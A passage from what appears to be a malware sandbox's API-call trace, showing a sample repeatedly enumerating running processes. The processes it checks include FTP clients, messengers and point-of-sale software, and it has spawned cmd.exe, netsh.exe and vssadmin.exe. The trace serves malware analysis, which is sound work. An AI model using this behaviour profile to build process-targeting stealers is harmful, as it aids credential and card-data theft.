cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0073.318] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0073.319] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0073.320] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0073.320] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0073.321] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0073.322] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0073.322] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0073.323] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0073.323] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0073.324] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0073.325] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0073.326] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0073.327] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0073.328] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0073.329] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0073.331] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0073.332] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0073.333] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0073.334] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0073.334] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0073.335] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0073.336] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0073.337] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0073.338] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0073.345] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0073.346] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0073.347] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0073.347] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0073.348] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0073.349] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0073.350] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0073.351] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0073.352] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0073.451] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0073.452] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0073.453] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0073.454] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0073.455] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.455] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.456] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.457] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0073.457] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0073.458] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.458] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.459] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.459] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.460] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.461] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0073.461] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0073.462] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0073.462] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.463] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0073.463] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0073.464] CloseHandle (hObject=0x150) returned 1 [0073.464] Sleep (dwMilliseconds=0x1f4) [0075.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0075.162] Process32FirstW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.163] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0075.163] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0075.164] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.164] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0075.165] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.166] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0075.166] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0075.167] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0075.168] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0075.168] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.169] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.170] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.170] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.171] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.172] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0075.172] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.173] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.173] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0075.174] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0075.175] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0075.175] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.176] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0075.177] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0075.178] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0075.178] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0075.179] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0075.179] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0075.180] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0075.180] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 